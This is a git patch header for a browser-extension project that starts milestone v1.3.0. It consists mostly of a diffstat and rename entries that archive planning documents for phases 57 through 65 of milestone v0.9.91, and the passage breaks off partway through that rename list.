From f5285506f65aeb2c3817231c087c05f092504ed3 Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Sun, 11 Oct 2026 05:45:15 -0500 Subject: [PATCH 01/57] docs: start milestone v1.3.0 Extension multilingual UI --- .planning/PROJECT.md | 32 +- .planning/milestones/v0.9.91-REQUIREMENTS.md | 203 +++++ .planning/milestones/v0.9.91-ROADMAP.md | 521 +++++++++++++ .planning/milestones/v0.9.91-STATE.md | 469 ++++++++++++ .../57-agent-identity-capture/57-01-PLAN.md | 0 .../57-01-SUMMARY.md | 0 .../57-agent-identity-capture/57-02-PLAN.md | 0 .../57-02-SUMMARY.md | 0 .../57-agent-identity-capture/57-03-PLAN.md | 0 .../57-03-SUMMARY.md | 0 .../57-agent-identity-capture/57-CONTEXT.md | 0 .../57-DISCUSSION-LOG.md | 0 .../57-agent-identity-capture/57-RESEARCH.md | 0 .../57-REVIEW-FIX.iter2.md | 0 .../57-REVIEW-FIX.iter3.md | 0 .../57-REVIEW-FIX.md | 0 .../57-REVIEW.iter2.md | 0 .../57-REVIEW.iter3.md | 0 .../57-agent-identity-capture/57-REVIEW.md | 0 .../57-agent-identity-capture/57-UI-REVIEW.md | 0 .../57-agent-identity-capture/57-UI-SPEC.md | 0 .../57-VALIDATION.md | 0 .../57-VERIFICATION.md | 0 .../58-providers-panel/58-01-PLAN.md | 0 .../58-providers-panel/58-01-SUMMARY.md | 0 .../58-providers-panel/58-02-PLAN.md | 0 .../58-providers-panel/58-02-SUMMARY.md | 0 .../58-providers-panel/58-03-PLAN.md | 0 .../58-providers-panel/58-03-SUMMARY.md | 0 .../58-providers-panel/58-CONTEXT.md | 0 .../58-providers-panel/58-HUMAN-UAT.md | 0 .../58-providers-panel/58-RESEARCH.md | 0 .../58-providers-panel/58-REVIEW-FIX.iter2.md | 0 .../58-providers-panel/58-REVIEW-FIX.iter3.md | 0 .../58-providers-panel/58-REVIEW-FIX.md | 0 .../58-providers-panel/58-REVIEW.iter2.md | 0 .../58-providers-panel/58-REVIEW.iter3.md | 0 .../58-providers-panel/58-REVIEW.md | 0 .../58-providers-panel/58-UI-SPEC.md | 0 .../58-providers-panel/58-VALIDATION.md | 0 .../58-providers-panel/58-VERIFICATION.md | 0 .../58-providers-panel/58-VISUAL-QA.md | 0 .../59-01-PLAN.md | 0 .../59-01-SUMMARY.md | 0 .../59-02-PLAN.md | 0 .../59-02-SUMMARY.md | 0 .../59-03-PLAN.md | 0 .../59-03-SUMMARY.md | 0 .../59-04-PLAN.md | 0 .../59-04-SUMMARY.md | 0 .../59-CONTEXT.md | 0 .../59-HUMAN-UAT.md | 0 .../59-PATTERNS.md | 0 .../59-RESEARCH.md | 0 .../59-REVIEW-FIX.md | 0 .../59-REVIEW.md | 0 .../59-VALIDATION.md | 0 .../59-VERIFICATION.md | 0 .../60-01-PLAN.md | 0 .../60-01-SUMMARY.md | 0 .../60-02-PLAN.md | 0 .../60-02-SUMMARY.md | 0 .../60-03-PLAN.md | 0 .../60-03-SUMMARY.md | 0 .../60-04-PLAN.md | 0 .../60-04-SUMMARY.md | 0 .../60-AI-SPEC.md | 0 .../60-CONTEXT.md | 0 .../60-DISCUSSION-LOG.md | 0 .../60-HUMAN-UAT.md | 0 .../60-RESEARCH.md | 0 .../60-REVIEW-FIX.iter2.md | 0 .../60-REVIEW-FIX.iter3.md | 0 .../60-REVIEW-FIX.md | 0 .../60-REVIEW.iter2.md | 0 .../60-REVIEW.iter3.md | 0 .../60-REVIEW.md | 0 .../60-VALIDATION.md | 0 .../60-VERIFICATION.md | 0 .../61-01-PLAN.md | 0 .../61-01-SUMMARY.md | 0 .../61-02-PLAN.md | 0 .../61-02-SUMMARY.md | 0 .../61-03-PLAN.md | 0 .../61-03-SUMMARY.md | 0 .../61-04-PLAN.md | 0 .../61-04-SUMMARY.md | 0 .../61-05-PLAN.md | 0 .../61-05-SUMMARY.md | 0 .../61-06-PLAN.md | 0 .../61-06-SUMMARY.md | 0 .../61-07-PLAN.md | 0 .../61-07-SUMMARY.md | 0 .../61-08-PLAN.md | 0 .../61-08-SUMMARY.md | 0 .../61-CONTEXT.md | 0 .../61-DISCUSSION-LOG.md | 0 .../61-HUMAN-UAT.md | 0 .../61-PATTERNS.md | 0 .../61-RESEARCH.md | 0 .../61-REVIEW-FIX.md | 0 .../61-REVIEW.md | 0 .../61-SECURITY.md | 0 .../61-UI-REVIEW.md | 0 .../61-UI-SPEC.md | 0 .../61-VALIDATION.md | 0 .../61-VERIFICATION.md | 0 .../62-01-PLAN.md | 0 .../62-01-SUMMARY.md | 0 .../62-02-PLAN.md | 0 .../62-02-SUMMARY.md | 0 .../62-03-PLAN.md | 0 .../62-03-SUMMARY.md | 0 .../62-04-PLAN.md | 0 .../62-04-SUMMARY.md | 0 .../62-05-PLAN.md | 0 .../62-05-SUMMARY.md | 0 .../62-06-PLAN.md | 0 .../62-06-SUMMARY.md | 0 .../62-CONTEXT.md | 0 .../62-HUMAN-UAT.md | 0 .../62-RESEARCH.md | 0 .../62-REVIEW-FIX.md | 0 .../62-REVIEW.md | 0 .../62-SECURITY.md | 0 .../62-UI-REVIEW.md | 0 .../62-UI-SPEC.md | 0 .../62-VALIDATION.md | 0 .../62-VERIFICATION.md | 0 .../63-native-messaging-host/63-01-PLAN.md | 0 .../63-native-messaging-host/63-01-SUMMARY.md | 0 .../63-native-messaging-host/63-02-PLAN.md | 0 .../63-native-messaging-host/63-02-SUMMARY.md | 0 .../63-native-messaging-host/63-03-PLAN.md | 0 .../63-native-messaging-host/63-03-SUMMARY.md | 0 .../63-native-messaging-host/63-04-PLAN.md | 0 .../63-native-messaging-host/63-04-SUMMARY.md | 0 .../63-native-messaging-host/63-05-PLAN.md | 0 .../63-native-messaging-host/63-05-SUMMARY.md | 0 .../63-native-messaging-host/63-06-PLAN.md | 0 .../63-native-messaging-host/63-06-SUMMARY.md | 0 .../63-native-messaging-host/63-07-PLAN.md | 0 .../63-native-messaging-host/63-07-SUMMARY.md | 0 .../63-native-messaging-host/63-08-PLAN.md | 0 .../63-native-messaging-host/63-08-SUMMARY.md | 0 .../63-native-messaging-host/63-09-PLAN.md | 0 .../63-native-messaging-host/63-09-SUMMARY.md | 0 .../63-native-messaging-host/63-10-PLAN.md | 0 .../63-native-messaging-host/63-10-SUMMARY.md | 0 .../63-native-messaging-host/63-11-PLAN.md | 0 .../63-native-messaging-host/63-11-SUMMARY.md | 0 .../63-native-messaging-host/63-12-PLAN.md | 0 .../63-native-messaging-host/63-12-SUMMARY.md | 0 .../63-native-messaging-host/63-CONTEXT.md | 0 .../63-native-messaging-host/63-HUMAN-UAT.md | 0 .../63-native-messaging-host/63-PATTERNS.md | 0 .../63-native-messaging-host/63-RESEARCH.md | 0 .../63-native-messaging-host/63-REVIEW.md | 0 .../63-native-messaging-host/63-SECURITY.md | 0 .../63-native-messaging-host/63-UI-REVIEW.md | 0 .../63-native-messaging-host/63-UI-SPEC.md | 0 .../63-native-messaging-host/63-VALIDATION.md | 0 .../63-VERIFICATION.md | 0 .../64-opencode-adapter/64-01-PLAN.md | 0 .../64-opencode-adapter/64-01-SUMMARY.md | 0 .../64-opencode-adapter/64-02-PLAN.md | 0 .../64-opencode-adapter/64-02-SUMMARY.md | 0 .../64-opencode-adapter/64-03-PLAN.md | 0 .../64-opencode-adapter/64-03-SUMMARY.md | 0 .../64-opencode-adapter/64-04-PLAN.md | 0 .../64-opencode-adapter/64-04-SUMMARY.md | 0 .../64-opencode-adapter/64-05-PLAN.md | 0 .../64-opencode-adapter/64-05-SUMMARY.md | 0 .../64-opencode-adapter/64-06-PLAN.md | 0 .../64-opencode-adapter/64-06-SUMMARY.md | 0 .../64-opencode-adapter/64-07-PLAN.md | 0 .../64-opencode-adapter/64-07-SUMMARY.md | 0 .../64-opencode-adapter/64-08-PLAN.md | 0 .../64-opencode-adapter/64-08-SUMMARY.md | 0 .../64-opencode-adapter/64-09-PLAN.md | 0 .../64-opencode-adapter/64-09-SUMMARY.md | 0 .../64-opencode-adapter/64-10-PLAN.md | 0 .../64-opencode-adapter/64-10-SUMMARY.md | 0 .../64-opencode-adapter/64-11-PLAN.md | 0 .../64-opencode-adapter/64-11-SUMMARY.md | 0 .../64-opencode-adapter/64-12-PLAN.md | 0 .../64-opencode-adapter/64-12-SUMMARY.md | 0 .../64-opencode-adapter/64-13-PLAN.md | 0 .../64-opencode-adapter/64-13-SUMMARY.md | 0 .../64-opencode-adapter/64-CONTEXT.md | 0 .../64-opencode-adapter/64-HUMAN-UAT.md | 0 .../64-opencode-adapter/64-PATTERNS.md | 0 .../64-opencode-adapter/64-RESEARCH.md | 0 .../64-REVIEW-FIX.iter2.md | 0 .../64-opencode-adapter/64-REVIEW-FIX.md | 0 .../64-opencode-adapter/64-REVIEW.iter2.md | 0 .../64-opencode-adapter/64-REVIEW.md | 0 .../64-opencode-adapter/64-SECURITY.md | 0 .../64-opencode-adapter/64-UI-REVIEW.md | 0 .../64-opencode-adapter/64-UI-SPEC.md | 0 .../64-opencode-adapter/64-VALIDATION.md | 0 .../64-opencode-adapter/64-VERIFICATION.md | 0 .../65-codex-adapter/65-01-PLAN.md | 0 .../65-codex-adapter/65-01-SUMMARY.md | 0 .../65-codex-adapter/65-02-PLAN.md | 0 .../65-codex-adapter/65-02-SUMMARY.md | 0 .../65-codex-adapter/65-03-PLAN.md | 0 .../65-codex-adapter/65-03-SUMMARY.md | 0 .../65-codex-adapter/65-04-PLAN.md | 0 .../65-codex-adapter/65-04-SUMMARY.md | 0 .../65-codex-adapter/65-05-PLAN.md | 0 .../65-codex-adapter/65-05-SUMMARY.md | 0 .../65-codex-adapter/65-06-PLAN.md | 0 .../65-codex-adapter/65-06-SUMMARY.md | 0 .../65-codex-adapter/65-07-PLAN.md | 0 .../65-codex-adapter/65-07-SUMMARY.md | 0 .../65-codex-adapter/65-08-PLAN.md | 0 .../65-codex-adapter/65-08-SUMMARY.md | 0 .../65-codex-adapter/65-CONTEXT.md | 0 .../65-codex-adapter/65-HUMAN-UAT.md | 0 .../65-codex-adapter/65-RESEARCH.md | 0 .../65-codex-adapter/65-REVIEW-FIX.md | 0 .../65-codex-adapter/65-REVIEW.md | 0 .../65-codex-adapter/65-SECURITY.md | 0 .../65-codex-adapter/65-UI-REVIEW-FIX.md | 0 .../65-codex-adapter/65-UI-REVIEW.md | 0 .../65-codex-adapter/65-UI-SPEC.md | 0 .../65-codex-adapter/65-VALIDATION.md | 0 .../65-codex-adapter/65-VERIFICATION.md | 0 .../v0.9.91-research/ARCHITECTURE.md | 341 +++++++++ .../milestones/v0.9.91-research/FEATURES.md | 195 +++++ .../milestones/v0.9.91-research/PITFALLS.md | 698 ++++++++++++++++++ .../milestones/v0.9.91-research/STACK.md | 269 +++++++ .../milestones/v0.9.91-research/SUMMARY.md | 225 ++++++ 234 files changed, 2949 insertions(+), 4 deletions(-) create mode 100644 .planning/milestones/v0.9.91-REQUIREMENTS.md create mode 100644 .planning/milestones/v0.9.91-ROADMAP.md create mode 100644 .planning/milestones/v0.9.91-STATE.md rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-DISCUSSION-LOG.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-REVIEW-FIX.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-REVIEW-FIX.iter3.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-REVIEW.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-REVIEW.iter3.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-UI-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-UI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/57-agent-identity-capture/57-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-REVIEW-FIX.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-REVIEW-FIX.iter3.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-REVIEW.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-REVIEW.iter3.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-UI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/58-providers-panel/58-VISUAL-QA.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-04-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-04-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-PATTERNS.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/59-reverse-request-channel-security-foundation/59-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-04-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-04-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-AI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-DISCUSSION-LOG.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.iter3.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-REVIEW.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-REVIEW.iter3.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/60-adapter-contract-claude-code-mvp/60-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-04-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-04-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-05-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-05-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-06-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-06-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-07-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-07-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-08-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-08-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-DISCUSSION-LOG.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-PATTERNS.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-SECURITY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-UI-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-UI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/61-delegation-ux-sw-eviction-persistence/61-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-04-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-04-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-05-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-05-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-06-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-06-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-SECURITY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-UI-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-UI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/62-ci-drift-smoke-gate-doctor-extensions/62-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-04-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-04-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-05-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-05-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-06-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-06-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-07-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-07-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-08-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-08-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-09-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-09-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-10-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-10-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-11-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-11-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-12-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-12-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-PATTERNS.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-SECURITY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-UI-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-UI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/63-native-messaging-host/63-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-04-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-04-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-05-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-05-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-06-PLAN.md (100%) rename .planning/{phases => 